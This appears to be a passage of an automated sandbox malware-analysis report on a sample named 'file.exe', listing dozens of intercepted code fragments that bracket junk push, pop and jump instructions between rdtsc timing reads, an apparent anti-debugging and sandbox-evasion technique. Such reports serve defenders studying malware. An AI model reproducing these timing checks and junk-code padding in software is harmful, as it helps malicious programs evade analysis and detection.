Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127146D second address: 1271476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12715EC second address: 12715F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12715F0 second address: 12715F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12715F4 second address: 12715FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12715FA second address: 1271633 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D8D6050Ch 0x00000008 jmp 00007F76D8D60514h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F76D8D60511h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12717DD second address: 12717E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278D27 second address: 1278D2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12794C2 second address: 12794CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A3A3 second address: 127A3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F76D8D60506h 0x0000000a pop edx 0x0000000b jnc 00007F76D8D6050Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A3B8 second address: 127A3D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D9275004h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A3D2 second address: 127A3D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A675 second address: 127A679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A679 second address: 127A67F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128255A second address: 1282560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282560 second address: 1282570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D6050Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282570 second address: 1282576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282576 second address: 128257A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128257A second address: 1282587 instructions: 0x00000000 rdtsc 0x00000002 js 00007F76D9274FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282A1C second address: 1282A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282A20 second address: 1282A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282A24 second address: 1282A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76D8D60506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282A30 second address: 1282A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F76D9275001h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282A47 second address: 1282A86 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F76D8D60506h 0x00000008 jmp 00007F76D8D60518h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jmp 00007F76D8D60513h 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282A86 second address: 1282A90 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1282BD9 second address: 1282BE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1288BFA second address: 1288C35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275003h 0x00000007 jmp 00007F76D9274FFEh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F76D9275002h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1288C35 second address: 1288C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1288C39 second address: 1288C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289053 second address: 1289059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289059 second address: 1289069 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F76D9274FF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289069 second address: 1289089 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F76D8D60514h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289089 second address: 12890A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F76D9274FF6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12890A2 second address: 12890A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12894EE second address: 12894F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289923 second address: 1289927 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289927 second address: 1289942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76D9274FFEh 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289A80 second address: 1289A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289A84 second address: 1289A98 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F76D9274FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jg 00007F76D9274FF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1289A98 second address: 1289AB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60514h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jng 00007F76D8D60506h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1292156 second address: 1292166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F76D9274FF6h 0x0000000a popad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291CEE second address: 1291D0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jbe 00007F76D8D60506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F76D8D60511h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291D0E second address: 1291D2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275008h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1291D2E second address: 1291D38 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D8D60506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12937A0 second address: 12937D7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76D927500Ah 0x00000008 jns 00007F76D9274FFCh 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007F76D9275019h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A31AE second address: 12A31D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D60516h 0x00000009 popad 0x0000000a pushad 0x0000000b jnp 00007F76D8D60506h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2D69 second address: 12A2D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2D6D second address: 12A2D81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60510h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5D42 second address: 12A5D63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275007h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5D63 second address: 12A5D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5BD1 second address: 12A5BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5BDF second address: 12A5BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5BE6 second address: 12A5BEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5BEB second address: 12A5BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8232 second address: 12A8251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D9275009h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6C15 second address: 12B6C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAC74 second address: 12BAC93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D9275006h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BAC93 second address: 12BACA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D6050Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BACA3 second address: 12BACA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BACA7 second address: 12BACC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D60512h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F76D8D60506h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C76C3 second address: 11C76D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F76D9274FF6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C76D0 second address: 11C76D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEE54 second address: 12BEE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F76D9274FFEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEE63 second address: 12BEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jns 00007F76D8D60506h 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F76D8D60506h 0x00000016 jmp 00007F76D8D6050Bh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEE84 second address: 12BEEA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76D9274FFEh 0x0000000e jg 00007F76D9274FFCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEEA7 second address: 12BEEAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEEAD second address: 12BEEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF044 second address: 12BF04A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF181 second address: 12BF19C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFBh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F76D9274FF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BF19C second address: 12BF1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C03CE second address: 12C03D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C03D6 second address: 12C03F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 jmp 00007F76D8D6050Dh 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1E71 second address: 12C1E75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1E75 second address: 12C1E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D60518h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F76D8D60506h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1E9D second address: 12C1EAC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F76D9274FF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7C3B second address: 12C7C41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBD8A second address: 12CBD8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3C20 second address: 12D3C2A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F76D8D60506h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3C2A second address: 12D3C74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F76D9275006h 0x0000000c jmp 00007F76D9275006h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F76D9275002h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E37AD second address: 12E37BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D8D6050Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E37BE second address: 12E37D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9274FFDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6009 second address: 12E6013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F76D8D60506h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6013 second address: 12E6036 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D9274FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D9275007h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6036 second address: 12E603A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE011 second address: 12FE042 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D9275009h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F76D9275002h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE042 second address: 12FE048 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE771 second address: 12FE782 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F76D9274FF6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FE782 second address: 12FE79E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60518h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FEBB7 second address: 12FEBCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F76D9275002h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305BEB second address: 1305BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305BEF second address: 1305BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305EE3 second address: 1305F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D8D60513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F76D8D60508h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305F06 second address: 1305F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1305F0C second address: 1305F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121621F second address: 1216224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553031B second address: 553033B instructions: 0x00000000 rdtsc 0x00000002 call 00007F76D8D60518h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553033B second address: 553034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553034A second address: 553034E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553034E second address: 5530354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530354 second address: 553035A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553035A second address: 553035E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553035E second address: 553036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
